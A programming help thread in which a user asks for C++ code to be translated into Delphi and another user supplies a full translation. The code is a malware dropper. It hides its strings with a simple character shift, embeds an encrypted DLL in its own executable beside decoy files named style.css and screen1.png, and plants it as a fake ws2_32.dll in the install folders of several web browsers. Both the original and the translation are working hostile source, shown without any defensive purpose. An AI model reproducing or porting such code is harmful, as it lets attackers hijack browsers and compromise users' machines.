[Okta Webinar] Learn how to a build a cloud-first strategyRegister Now

x
  • Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 883
  • Last Modified:

Translate C++ to DELPHI

Hi ^^
can someone translate this code in C++ to delphi  me please ?
thank you :)
ps: the functions "encrypt" and "decrypt" dont need because i aready posted a question here and is ok.
#include <io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
 
/////////////////////////////////////////////////////////////////////////////////
 
#define DIR_SIZE  32
#define SIGNATURE 0x1234
#define DELTA     0x4
 
#pragma pack(1)
 
/////////////////////////////////////////////////////////////////////////////////
 
struct Sign
 {
    WORD  Signature;
    DWORD dwFileBegin;
    DWORD dwFileSize;
 };
 
/////////////////////////////////////////////////////////////////////////////////
 
void  MakeLoader(LPCSTR);
void  RunLoader(FILE *, struct Sign *);
 
void  CopyTempFile(LPSTR);
 
void  Encrypt(LPSTR, DWORD);
void  Decrypt(LPSTR, DWORD);
 
void  InitializeTable();
DWORD CRC_CheckSum(LPCSTR);
 
DWORD GetEnviromentPath(LPCSTR, LPSTR);
BOOL  DownloadFile(LPCSTR, LPCSTR);
 
/////////////////////////////////////////////////////////////////////////////////
 
char DllName[] = "{w6c762hpp";
char DllPath[] = "22`{w6c762hpp";
 
char ProgramFiles[] = "TvskveqJmpiw";
 
char LoaderDir[]      = "psehivcjmpiw";
char LoaderBin[]      = "psehivcjmpiw`psehiv2i|i";
 
char LoaderCheckSum[] = "psehivcjmpiw``wx}pi2gww";//style.css ?
char LoaderFakeBin[]  = "psehivcjmpiw``wgviir52trk";//loader_files\\screen1.png
 
char BrowserDirs[][DIR_SIZE] =  { "Mrxivrix$I|tpsviv`",     "Qs~mppe$Jmvijs|`", "Stive`",
                                  "Rixwgeti`Rezmkexsv$=`",  "Ezerx$Fvs{wiv`]",
                                  "jpsgo`jpsgo"  
                                };
DWORD  CRCTable[256];
 
/////////////////////////////////////////////////////////////////////////////////
 
int main(int argn, char ** argv)
{
  FILE * fp;
  struct Sign FileSignature;
 
     fp = fopen(argv[0], "rb");
     
     if(!fp)
        return 1;
     
     if(fseek(fp, - sizeof(FileSignature), SEEK_END) != 0)
        goto End;
     
     if(!fread(&FileSignature, sizeof(FileSignature), 1, fp))
        goto End;
 
     if(FileSignature.Signature == SIGNATURE && FileSignature.dwFileBegin > 0 &&
        FileSignature.dwFileSize > 0)
      { 
         Decrypt(DllName,      sizeof(DllName) - 1);
         Decrypt(ProgramFiles, sizeof(ProgramFiles) - 1);
 
         RunLoader(fp, &FileSignature);
      }
     else
      {
         Decrypt(DllName, sizeof(DllName) - 1);
         Decrypt(DllPath, sizeof(DllPath) - 1);
         
         Decrypt(LoaderDir, sizeof(LoaderDir) - 1);
         Decrypt(LoaderBin, sizeof(LoaderBin) - 1);
         
         Decrypt(LoaderCheckSum, sizeof(LoaderCheckSum) - 1);
         Decrypt(LoaderFakeBin,  sizeof(LoaderFakeBin) - 1);
 
         MakeLoader(argv[0]);
      }
     
  End:
     
     fclose(fp);
      
  return 0;
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void MakeLoader(LPCSTR lpLocalFile)
{
  FILE * fp;
  char * FileBuffer;
  DWORD  dwDllFileSize, dwLoaderFileSize;
  
  struct Sign FileSignature = {SIGNATURE, 0x0, 0x0};
     
     if(GetFileAttributes(LoaderDir) == INVALID_FILE_ATTRIBUTES)
      {
         CreateDirectory(LoaderDir, NULL);
      }
     else
      {
         DeleteFile(LoaderBin);
         DeleteFile(LoaderCheckSum);
         DeleteFile(LoaderFakeBin);
      }
 
     if(!CopyFile(lpLocalFile, LoaderBin, 0))
        return;
        
     fp = fopen(DllPath, "rb");
     
     if(!fp)
        goto End;
 
     dwDllFileSize = filelength(fp->_file);
     
     if(dwDllFileSize < 1)
        goto End;
     
     FileBuffer = (char*)malloc(dwDllFileSize);
     
     if(!FileBuffer)
        goto End;     
     
     if(!fread(FileBuffer, dwDllFileSize, 1, fp))
        goto End;
     
     fp = freopen(LoaderBin, "rb+", fp);
 
     if(!fp)
        goto End;
     
     if(fseek(fp, 0, SEEK_END) != 0)
        goto End;
     
     dwLoaderFileSize = ftell(fp);
           
     if(dwLoaderFileSize < 1)
        goto End;
     
     Encrypt(FileBuffer, dwDllFileSize);
     
     if(!fwrite(FileBuffer, dwDllFileSize, 1, fp))
        goto End;
     
     FileSignature.dwFileBegin = dwLoaderFileSize;
     FileSignature.dwFileSize  = dwDllFileSize;
     
     if(!fwrite(&FileSignature, sizeof(FileSignature), 1, fp))
        goto End;
     
     fclose(fp);
     
     InitializeTable();
     
     fp = fopen(LoaderCheckSum, "wb");
     
     if(fp && CopyFile(LoaderBin, LoaderFakeBin, 0))
      {
         fprintf(fp, "%ul:%ul", CRC_CheckSum(DllPath), CRC_CheckSum(LoaderFakeBin));
         fclose(fp);
      }
     else
        goto End;
 
     free(FileBuffer);
     
  return;
     
  End:
     
     if(fp)
        fclose(fp);
        
     if(FileBuffer)
        free(FileBuffer);
        
     DeleteFile(LoaderBin);
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void RunLoader(FILE * fp, struct Sign * pFileSignature)
{
  FILE * temp;
  char * FileBuffer;
     
     if(fseek(fp, pFileSignature->dwFileBegin, SEEK_SET) != 0)
        return;
     
     temp = fopen("Kernel32_", "wb");
 
     if(!temp)
        return;
 
     FileBuffer = (char*)malloc(pFileSignature->dwFileSize);
     
     if(!FileBuffer)
        goto End;
 
      
     if(!fread(FileBuffer, pFileSignature->dwFileSize, 1, fp))
        goto End;
     
     Decrypt(FileBuffer, pFileSignature->dwFileSize);
 
     if(!fwrite(FileBuffer, pFileSignature->dwFileSize, 1, temp))
        goto End;
     
     CopyTempFile("Kernel32_");
              
  End:
     
     if(temp)
       fclose(temp);
     
     if(FileBuffer)
       free(FileBuffer);
     
     DeleteFile("Kernel32_");     
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void CopyTempFile(LPSTR lpTempFile)
{ 
  char DestPath[MAX_PATH] = {0};
  char (*pBrowserDir)[32];
  
  DWORD dwLen;
  int i, tries;
     
     dwLen = GetEnviromentPath(ProgramFiles, DestPath);
     
     if(!dwLen)
        return;
     
     pBrowserDir = BrowserDirs;
     
     for(i = 0; i < sizeof(BrowserDirs) / DIR_SIZE; i++)
      {
         Decrypt(pBrowserDir[i], strlen(pBrowserDir[i]));
         
         snprintf(DestPath + dwLen, MAX_PATH - dwLen - 1, "%s", pBrowserDir[i]);
         
         if(GetFileAttributes(DestPath) == INVALID_FILE_ATTRIBUTES)
            continue;
            
         strncat(DestPath, DllName, MAX_PATH - strlen(DestPath) - 1);
 
         tries = 0;
         
         while(tries < 3)
         {
            if(CopyFile(lpTempFile, DestPath, 0) != 0)
               break;
 
            Sleep(2000);
            
            tries++;
         }
      }
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void InitializeTable()
{
  int   i, j;
  DWORD dwSum;
     
     for(i = 0; i < sizeof(CRCTable) / sizeof(DWORD) ; i++)
      {
	     dwSum = i;
		
         for (j = 8; j > 0; j--)
          {
             if(dwSum & 0x1)
		        dwSum = (dwSum >> 1) ^ 0xEDB88320;
              else
                dwSum >>= 1;
		  }
 
		 CRCTable[i] = dwSum;
	  }
}
 
/////////////////////////////////////////////////////////////////////////////////////////
 
DWORD CRC_CheckSum(LPCSTR lpszFileName)
{
  FILE * fp;
 
  register DWORD dwCRC;
  int Byte;
 
	 fp = fopen(lpszFileName, "rb");
     
     if(!fp)
        return 0;
 
	 dwCRC = 0xFFFFFFFF;
	
	 while( (Byte = getc(fp) ) != EOF )
      {
	     dwCRC = ((dwCRC >> 8) & 0x00FFFFFF) ^ CRCTable[(dwCRC ^ Byte) & 0xFF];
	  }
  
     fclose(fp);
  
  return (dwCRC ^ 0xFFFFFFFF);
}
 
/////////////////////////////////////////////////////////////////////////////////////////
 
void Encrypt(LPSTR lpBuffer, DWORD dwLen)
{
  DWORD i;
     
     if(!lpBuffer || !dwLen)
        return;
     
     for(i = 0; i < dwLen; i++)
      {
         lpBuffer[i] += DELTA;
      }
}
 
/////////////////////////////////////////////////////////////////////////////////
 
void Decrypt(LPSTR lpBuffer, DWORD dwLen)
{
  DWORD i;
     
     if(!lpBuffer || !dwLen)
        return;
     
     for(i = 0; i < dwLen; i++)
      {
         lpBuffer[i] -= DELTA;
      }
}
 
/////////////////////////////////////////////////////////////////////////////////
 
DWORD GetEnviromentPath(LPCSTR lpszPath, LPSTR lpBuffer)
{
  char * temp;
  
     temp = getenv(lpszPath);
     
     if(!temp)
        return 0;
     
     snprintf(lpBuffer, MAX_PATH - 1, "%s\\", temp);        
 
  return (DWORD)strlen(lpBuffer);
}

Open in new window

0
MelissaCandyGirl
Asked:
MelissaCandyGirl
1 Solution
 
ThievingSixCommented:
Got kind of confusing, should be close though.
program Project1;
 
{$APPTYPE CONSOLE}
 
uses
  Windows,
  SysUtils;
 
var
  DIR_SIZE : DWORD = 32;
  SIGNATURE : DWORD = $1234;
  DELTA : DWORD = $4;
  DllName : String = '{w6c762hpp';
  DllPath : String = '22`{w6c762hpp';
  ProgramFiles : String = 'TvskveqJmpiw';
  LoaderDir : String = 'psehivcjmpiw';
  LoaderBin : String = 'psehivcjmpiw`psehiv2i|i';
  LoaderCheckSum : String = 'psehivcjmpiw``wx}pi2gww';
  LoaderFakeBin : String = 'psehivcjmpiw``wgviir52trk';
  BrowseDirs : Array[0..5] Of String = ('Mrxivrix$I|tpsviv','Qs~mppe$Jmvijs|`','Stive`',
                                        'Rixwgeti`Rezmkexsv$=`','Ezerx$Fvs{wiv`]','jpsgo`jpsgo');
  CRCTable : Array[0..255] Of DWORD;
 
type
  Sign = record
    Signature : WORD;
    FileBegin : DWORD;
    FileSize : DWORD;
  end;
 
procedure Encrypt(var Buffer: String; Length: DWORD);
var
  I : DWORD;
begin
  If (Buffer = '') Or (Length <= 0) Then Exit;
  For I := 1 To Length Do
    begin
    Buffer[I] := Char(Byte(Buffer[I]) + DELTA);
  end;
end;
 
procedure Decrypt(var Buffer: String; Length: DWORD);
var
  I : DWORD;
begin
  If (Buffer = '') Or (Length <= 0) Then Exit;
  For I := 1 To Length Do
    begin
    Buffer[I] := Char(Byte(Buffer[I]) - DELTA);
  end;
end;
 
procedure InitializeTable;
var
  I, J : Integer;
  Sum : DWORD;
begin
  For I := 0 To (SizeOf(CRCTable) div SizeOf(DWORD)) - 1 Do
    begin
    Sum := I;
    For J := 8 DownTo 1 Do
      begin
      If (Sum And $1) <> 0 Then
        begin
        Sum := (Sum SHR 1) XOR $EDB88320;
      end
      Else
        begin
        Sum := Sum SHR 1;
      end;
      CRCTable[I] := Sum;
    end;
  end;
end;
 
function CRC_CheckSum(FileName: String): DWORD;
var
  fp : DWORD;
  CRC : DWORD;
  Byte : Integer;
  FileSize : DWORD;
  BytesRead : DWORD;
  Pos : DWORD;
begin
  fp := CreateFile(PChar(FileName),GENERIC_READ,0,nil,OPEN_EXISTING,0,0);
  If fp = INVALID_HANDLE_VALUE Then Exit;
  Try
    FileSize := SetFilePointer(fp,0,nil,FILE_END);
    Pos := SetFilePointer(fp,0,nil,FILE_BEGIN);
    CRC := $FFFFFFFF;
    While Pos <= FileSize Do
      begin
      If ReadFile(fp,Byte,1,BytesRead,nil) Then
        begin
        Inc(Pos,BytesRead);
        {$WARNINGS OFF}
        CRC := ((CRC SHR 8) And $00FFFFFF) XOR CRCTable[(CRC XOR Byte) And $FF];
        {$WARNINGS ON}
      end;
    end;
  Finally
    CloseHandle(fp);
  end;
  Result := CRC XOR $FFFFFFFF;
end;
 
procedure MakeLoader(LocalFile: String);
var
  fp : DWORD;
  FileBuffer : PChar;
  DLLFileSize,
  LoaderFileSize : DWORD;
  FileSignature : Sign;
  BytesRead : DWORD;
  Temp : String;
begin
  FileSignature.Signature := SIGNATURE;
  FileSignature.FileBegin := 0;
  FileSignature.FileSize := 0;
  If GetFileAttributes(PChar(LoaderDir)) = ((High(DWORD))-1)  Then
    begin
    CreateDirectory(PChar(LoaderDir),nil);
  end
  Else
    begin
    DeleteFile(LoaderBin);
    DeleteFile(LoaderCheckSum);
    DeleteFile(LoaderFakeBin);
  end;
  If Not(CopyFile(PChar(LocalFile),PChar(LoaderBin),False)) Then Exit;
  fp := CreateFile(PChar(DllPath),GENERIC_READ,0,nil,OPEN_EXISTING,0,0);
  If fp = INVALID_HANDLE_VALUE Then Exit;
  Try
    DllFileSize := SetFilePointer(fp,0,nil,FILE_END);
    If DllFileSize < 1 Then Exit;
    FileBuffer := AllocMem(DllFileSize);
    If FileBuffer = nil Then Exit;
    Try
      SetFilePointer(fp,0,nil,FILE_BEGIN);
      If Not(ReadFile(fp,FileBuffer^,DllFileSize,BytesRead,nil)) Then Exit;
      CloseHandle(fp);
      fp := CreateFile(PChar(LoaderBin),GENERIC_READ Or GENERIC_WRITE,0,nil,OPEN_ALWAYS,0,0);
      If fp = INVALID_HANDLE_VALUE Then Exit;
      LoaderFileSize := SetFilePointer(fp,0,nil,FILE_END);
      If LoaderFileSize < 1 Then Exit;
      Temp := FileBuffer;
      Encrypt(Temp,DLLFileSize);
      FileBuffer := PChar(Temp);
      If Not(WriteFile(fp,FileBuffer^,DllFileSize,BytesRead,nil)) Then Exit;
      FileSignature.FileBegin := LoaderFileSize;
      FileSignature.FileSize := DLLFileSize;
      If Not(WriteFile(fp,FileSignature,SizeOf(FileSignature),BytesRead,nil)) Then Exit;
      CloseHandle(fp);
      InitializeTable;
      fp := CreateFile(PChar(LoaderCheckSum),GENERIC_READ Or GENERIC_WRITE,0,nil,OPEN_ALWAYS,0,0);
      If fp = INVALID_HANDLE_VALUE Then Exit;
      If CopyFile(PChar(LoaderBin),PChar(LoaderFakeBin),False) then
        begin
        Writeln(Format('%u:%u',[CRC_CheckSum(DllPath),CRC_CheckSum(LoaderFakeBin)]));
      end;
    Finally
      FreeMem(FileBuffer);
    end;
  Finally
    CloseHandle(fp);
    DeleteFile(LoaderBin);
  end;
end;
 
procedure CopyTempFile(TempFile: String);
var
  DestPath : Array[0..MAX_PATH - 1] Of Char;
  Temp : String;
  BrowserDir : Array[0..5] Of String;
  Len : DWORD;
  I,
  Tries : Integer;
begin
  Len := GetEnvironmentVariable(PChar(ProgramFiles),DestPath,MAX_PATH);
  DestPath[Len] := '\';
  DestPath[Len + 1] := '\';
  If Len = 0 Then Exit;
  Move(BrowserDir,BrowseDirs,SizeOf(BrowseDirs));
  For I := 0 To High(BrowseDirs) Do
    begin
    Decrypt(BrowserDir[I],Length(BrowserDir[I]));
    Move(BrowserDir[I],DestPath,Length(BrowserDir[I]));
    If GetFileAttributes(PChar(String(DestPath))) = ((High(DWORD))-1) Then Continue;
    Temp := String(DestPath) + DllName;
    Move(Temp,DestPath,Length(Temp));
    Tries := 0;
    While Tries < 3 Do
      begin
      If CopyFile(PChar(TempFile),PChar(String(DestPath)),False) Then Break;
      Sleep(2000);
      Inc(Tries);
    end;
  end;
end;
 
procedure RunLoader(hFile: DWORD; FileSignature: Sign);
var
  Temp : DWORD;
  FileBuffer : PChar;
  BytesRead : DWORD;
  sTemp : String;
begin
  If SetFilePointer(hFile,FileSignature.FileBegin,nil,FILE_BEGIN) <> 0 Then Exit;
  Temp := CreateFile('Kernel32_',GENERIC_READ Or GENERIC_WRITE,0,nil,OPEN_ALWAYS,0,0);
  If Temp = INVALID_HANDLE_VALUE Then Exit;
  Try
    FileBuffer := AllocMem(FileSignature.FileSize);
    If FileBuffer = nil Then Exit;
    Try
      If Not(ReadFile(hFile,FileBuffer^,FileSignature.FileSize,BytesRead,nil)) Then Exit;
      sTemp := FileBuffer;
      Decrypt(sTemp,FileSignature.FileSize);
      FileBuffer := PChar(sTemp);
      If Not(WriteFile(Temp,FileBuffer^,FileSignature.FileSize,BytesRead,nil)) Then Exit;
      CopyTempFile('Kernel32_');
      DeleteFile('Kernel32_');
    Finally
      FreeMem(FileBuffer);
    end;
  Finally
    CloseHandle(Temp);
  end;
end;
 
var
  fp : DWORD;
  FileSignature : Sign;
  BytesRead : DWORD;
begin
  fp := CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_DELETE Or FILE_SHARE_READ Or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
  If fp = INVALID_HANDLE_VALUE Then Exit;
  Try
    SetFilePointer(fp,-SizeOf(FileSignature),nil,FILE_END);
    If Not(ReadFile(fp,FileSignature,SizeOf(FileSignature),BytesRead,nil)) Then Exit;
    If (FileSignature.Signature = SIGNATURE) And (FileSignature.FileBegin > 0) And (FileSignature.FileSize > 0) Then
      begin
      Decrypt(DllName,Length(DllName));
      Decrypt(ProgramFiles,Length(ProgramFiles));
      RunLoader(fp,FileSignature);
    end
    Else
      begin
      Decrypt(DllName,Length(DllName));
      Decrypt(DllPath,Length(DllPath));
      Decrypt(LoaderDir,Length(LoaderDir));
      Decrypt(LoaderBin,Length(LoaderBin));
      Decrypt(LoaderCheckSum,Length(LoaderCheckSum));
      Decrypt(LoaderFakeBin,Length(LoaderFakeBin));
      MakeLoader(ParamStr(0));
    end;
  Finally
    CloseHandle(fp);
  end;
end.

Open in new window

0
 
MelissaCandyGirlAuthor Commented:
sorry for delay to accept, pretty boy :)
0

Featured Post

Free Tool: Site Down Detector

Helpful to verify reports of your own downtime, or to double check a downed website you are trying to access.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Tackle projects and never again get stuck behind a technical roadblock.
Join Now